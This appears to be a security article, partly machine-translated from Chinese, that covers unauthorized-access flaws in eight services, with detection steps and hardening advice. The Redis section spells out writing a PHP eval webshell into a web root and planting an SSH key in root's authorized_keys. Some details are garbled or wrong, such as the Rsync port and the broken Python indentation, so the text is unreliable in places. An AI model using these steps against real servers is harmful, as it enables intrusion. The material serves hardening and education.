Home  >  Article  >  Operation and Maintenance  >  Summary of common unauthorized access vulnerabilities

Summary of common unauthorized access vulnerabilities

王林
王林Original
2019-12-02 17:40:444843browse

Summary of common unauthorized access vulnerabilities

Unauthorized access vulnerabilities can be understood as flaws in addresses and authorization pages that require security configuration or permission authentication, allowing other users to directly access and causing important permissions to be manipulated, databases or website directories. Wait for sensitive information to be leaked.

Common unauthorized access vulnerabilities

1.MongoDB unauthorized access vulnerability

2.Redis unauthorized access vulnerability

3.Memcached Unauthorized Access Vulnerability CVE-2013-7239

4.JBOSS Unauthorized Access Vulnerability

5.VNC Unauthorized Access Vulnerability

6.Docker Unauthorized Access Vulnerability

7.ZooKeeper Unauthorized Access Vulnerability

8.Rsync Unauthorized Access Vulnerability

1. MongoDB Unauthorized Access Vulnerability

Vulnerability Information

(1) Vulnerability Brief If you do not add any parameters when opening the MongoDB service, there will be no permission verification by default. Users who can remotely access the database and log in can access the database through the default port 27017 without a password. High-risk operations such as adding, deleting, modifying, and checking. When it is first installed, MongoDB has an admin database by default. At this time, the admin database is empty and does not record permission-related information. When there is no user in admin.system.users, even if MongoDB is started with the –auth parameter, it can still perform any operation regardless of whether it is started with the –auth parameter until a user is added to admin.system.users.

(2) Risk level is high risk.

(3) Vulnerability number None.

(4) Affected scope: MongoDB database.

Detection method

You can compile the corresponding script yourself or use special tools to detect it. You can also check the configuration file

(1) Check whether it is only listening to 127.0. 0.1

--bind_ip 127.0.0.1
or
vim /etc/mongodb.conf
bind_ip = 127.0.0.1

(2) Check whether auth authentication is enabled

mongod --auth
or
vim /etc/mongodb.conf
auth = true

Repair method

(1) Add authentication for MongoDB

① Add the -auth parameter when MongoDB starts.

② Add user to MongoDB

use admin # 使用 admin 库
db.addUser“用户名” “密码”# 添加用户名、密码
db.auth“用户名”,“密码”# 验证是否添加成功返回 1 说明成功。

(2) Disable HTTP and REST ports

MongoDB itself has an HTTP service and supports REST interface. These interfaces are closed by default after version 2.6. MongoDB will use the default port to listen to web services by default. It is generally not necessary to perform remote management through the web. It is recommended to disable it. Modify the configuration file or select the -nohttpinterface parameter nohttpinterface = false at startup.

(3) Restrict binding IP

Add parameters when starting

--bind_ip 127.0.0.1

or add the following content in the /etc/mongodb.conf file

bind_ip = 127.0.0.1

2. Redis Unauthorized Access Vulnerability

Vulnerability Information

(1) Vulnerability Brief Redis is a high-performance Key-Value database. The emergence of Redis has largely made up for the shortcomings of Key/Value storage such as memcached, and can play a good supplementary role in relational databases in some situations. Redis will be bound to 0.0.0.0:6379 by default, which will expose the Redis service to the public network. Failure to enable authentication will allow any user to access Redis and read Redis data without authorization if they have access to the target server. Without authorized access to Redis, an attacker can use Redis-related methods to successfully write the public key on the Redis server and then use the corresponding private key to directly log in to the target server.

(2) Risk level is high risk.

(3) Vulnerability number None.

(4) Impact scope Redis database.

Detection method

先用 nmap 扫描查看端口开放情况发现开放的 6379 端口为 Redis 的默认端口 

Nmap -A -p 6379 --script redis-info 192.168.10.153

Nmap 扫描后发现主机的 6379 端口对外开放可以通过 Redis 客户端进行连接测试是否存在未授权访问漏洞具体命令如下:

./redis-cli -h 192.168.10.153
Info

就可以看到 Redis 的版本和服务器上内核的版本信息也可以 del key 删除数据在网站写入木马写入 SSH 公钥或者在 crontab 里写定时任务反弹 shell 等。

(1) 网站写码

① 先用客户端连接服务器的 redis 服务

redis-cli.exe -h 目标IP

② 连接后设置目录 

config set dir /var/www/html此路径是服务器端 Web 网站的目录

③ 设置要写入的文件名 

config set dbfilename redis88.php

④ 设置要写入的内容 

set webshell "<?php @eval($_POST[&#39;123&#39;]); ?>"

⑤ 保存 

save

⑥ 保存后用菜刀连接此木马得到 webshell。

(2) 结合 SSH 免密码登录

① 先在本地建个 ssh 的密钥

ssh-keygen-trsa

② 将公钥的内容写到一个文本中命令如下

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt

注意写到文件中时一定要在前面加几行后面加几行。

③ 将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下

cat test.txt | redis -cli -h <hostname> -x set test

④ 登录远程服务器可以看到公钥已经添加到 Redis 的服务器上了命令如下

redis-cli -h <hostname>
keys *get test

⑤ 随后就是最关键的了Redis 有个 save 命令save 命令执行一个同步保存操作将当前 Redis 实例的所有数据快照snapshot以 RDB 文件的形式保存到硬盘。所以save 命令就可以将 test 里的公钥保存到 /root/.ssh 下要有权限。

修改保存的路径为

config set dir "/root/.ssh"

修改文件名为

config set dbfilename "authorized_keys"

保存。

⑥ 测试一下

ssh 用户名@<IP地址>

实现免密码成功登陆。

修复方法

(1) 设置 Redis 访问密码在 redis.conf 中找到 “requirepass” 字段在后面填上强口令redis 客户端也需要此密码来访问 redis 服务。

(2) 配置 bind 选项限定可以连接 Reids 服务器的 IP并修改默认端口 6379。

(3) 重启 Redis 服务。

(4) 清理系统中存在的后门木马。

三、Memcached 未授权访问漏洞CVE-2013-7239

漏洞信息

(1) 漏洞简述Memcached 是一套分布式高速缓存系统。它以 Key – Value 的形式将数据存储在内存中。这些数据通常是会被频繁地应用、读取的。正因为内存中数据的读取速度远远大于硬盘的读取速度所以可以用来加速应用的访问。由于 Memcached 的安全设计缺陷客户端连接 Memcached 服务器后无需认证就可读取、修改服务器缓存内容。

(2) 风险等级高风险。

(3) 漏洞编号CVE-2013-7239 。

(4) 影响范围Memcached 全版本。

检测方法

登录机器执行 netstat -an | more 命令查看端口监听情况。回显 0.0.0.0:1121111211 表示在所有网卡进行监听存在 Memcached 未授权访问漏洞。

telnet <target> 11211
or
nc -vv <target> 11211

提示连接成功表示漏洞存在。

使用端口扫描工具 nmap 进行远程扫描

nmap -sV -p11211 --script memcached-info <target>

修复方法 

(1) 配置访问控制。建议用户不要将服务发布到互联网上以防被黑客利用而可以通过安全组规则或 Iptables 配置访问控制规则只允许内部必需的用户地址访问命令如下 

iptables -A INPUT -p tcp -s 192.168.0.2 --dport 11211 -j ACCEPT

(2) bind 指定监听 IP。如果 Memcached 没有在外网开放的必要可在 Memcached 启动时指定绑定的 IP 地址为 127.0.0.1。例如

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

(3) 最小化权限运行。使用普通权限账号运行以下指定 memcached 用户运行 

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

(4) 修改默认端口。修改默认 11211 监听端口为 11222 端口 

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

(5) 备份数据。为避免数据丢失升级前应做好备份或建立硬盘快照。

四、JBOSS 未授权访问漏洞

漏洞信息

(1) 漏洞简述JBOSS 企业应用平台EAP是 J2EE 应用的中间件平台。默认情况下访问 http://ip:8080/jmx-console 就可以浏览 jboss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围JBOSS 全版本。

检测方法

先用 nmap 扫描查看端口开放情况看是否开放 JBOSS 端口。再使用漏洞测试工具测试 jmx 组件存在情况通过访问 http://ip:jboss端口/ 看是否能进入 jmx-console 和 web-console 。 

修复方法

JMX Console 安全配置

① 找到 %JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml 文件去掉下面这段 xml 文本的注释。

② 与 jboss-web.xml 同级的目录下还有一个文件 web.xml找到下面这段 xml 文本把 GET 和 POST 两行注释掉同时 security-constraint 整个部分取消注释, 不然存在head头绕过。 

③ %JBOSS_HOME%\server\default\conf\props\jbossws-users.properties 中删除原始的 admin/admin添加新的用户名密码。 

④ %JBOSS_HOME%\server\default\conf\props\jbossws-roles.properties 中定义新用户名所属角色。该文件定义的格式为用户名 = 角色多个角色以 “,” 隔开该文件默认为 admin 用户定义了 JBossAdmin 和 HttpInvoker 这两个角色。 

# A sample roles.properties file foruse with the UsersRolesLoginModule
kermit = JBossAdmin,HttpInvoker

五、VNC 未授权访问漏洞

漏洞信息

(1) 漏洞简述VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机危害相当严重。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围VNC 全版本。

检测方法

使用 metasploit 进行批量检测

(1) 在 kali 下运行 msfconsolemsfconsole。

(2) 调用 VNC 未授权检测模块use auxiliary/scanner/vnc/vnx_none_auth。

(3) 显示有哪些选项show options。

(4) 设置地址段set rhosts ip 或 段。

(5) 设置线程set threads 50。

(6) 开始扫描run。

修复方法

(1) 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。

(2) 以最小权限的普通用户身份运行操作系统。

六、Docker 未授权访问漏洞

漏洞信息

(1) 漏洞简述Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker 存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以脱离容器拿到宿主机权限。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围Docker 1.3、Docker 1.6。

检测方法

先用 nmap 扫描查看端口开放情况。2375 为 docker 端口如果存在漏洞会有以下情况url 输入 ip:2375/version 就会列出基本信息也可以执行目标服务器容器命令如 container、image 等。 

修复方法

(1) 使用 TLS 认证。

(2) 网络访问控制Network Access Control

七、ZooKeeper 未授权访问漏洞

漏洞信息

(1) 漏洞简述ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务是 Google 的 Chubby 一个开源的实现是 Hadoop 和 Hbase 的重要组件。它是一个为分布式应用提供一致性服务的软件提供的功能包括配置维护、域名服务、分布式同步、组服务等。ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境。这将导致任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围Zookeeper 全版本。

检测方法

(1) 通过 nmap 扫描开放了 2181 端口的主机。

(2) 运行脚本通过 socket 连接 2181 端口并发送 envi 命令若服务端返回的数据中包含 ZooKeeper 的服务运行环境信息即可证明存在未授权访问。

检测脚本

# coding=utf-8
 import socketimport sys 
def check(ip, port, timeout, cmd):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send(cmd)
        data = s.recv(1024)
        s.close()        print data    except:        passdef main():
    if len(sys.argv) < 3:
        exit()
    ip = sys.argv[1]
    cmd = sys.argv[2]    # envi
    # dump
    # reqs
    # ruok
    # stat
    check(ip, 2181, 3, cmd) 
if __name__ == &#39;__main__&#39;:
    main()

修复方法 

(1) Modify the ZooKeeper default port, use other port services, and configure the service source address restriction policy.

(2) Add ZooKeeper authentication configuration.

8. Rsync Unauthorized Access Vulnerability

Vulnerability Information

(1) Vulnerability Brief Description: Rsync (remote synchronize) is a remote data synchronization tool that can quickly synchronize files between multiple hosts through LAN/WAN, and can also synchronize different directories in the local hard disk. Rsync allows anonymous access by default. If there is no relevant user authentication and file authorization in the configuration file, hidden dangers will be triggered. The default port for Rsync is 837.

(2) Risk level: High risk.

(3) Vulnerability number: None.

(4) Scope of impact: All versions of Rsync.

Detection method

nmap scan: nmap ip -p837.

List the current directory and display user: rsync ip.

If you are root, you can download any file and upload files.

Repair method

(1) Hide module information: modify the configuration file list =false.

(2) Permission control: Modules that do not require write permission are set to read-only Read only = true.

(3) Network access control: Use security group policy or whitelist restrictions to only allow necessary hosts to access: hosts allow = 123.123.123.123.

(4) Account authentication: Only specified users are allowed to use the rsync service with the specified password.

(5) Data encrypted transmission: Rsync does not directly support encrypted transmission by default. If you need Rsync to synchronize highly important data, you can use ssh.

Recommended related articles and tutorials: web security tutorial

The above is the detailed content of Summary of common unauthorized access vulnerabilities. For more information, please follow other related articles on the PHP Chinese website!

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn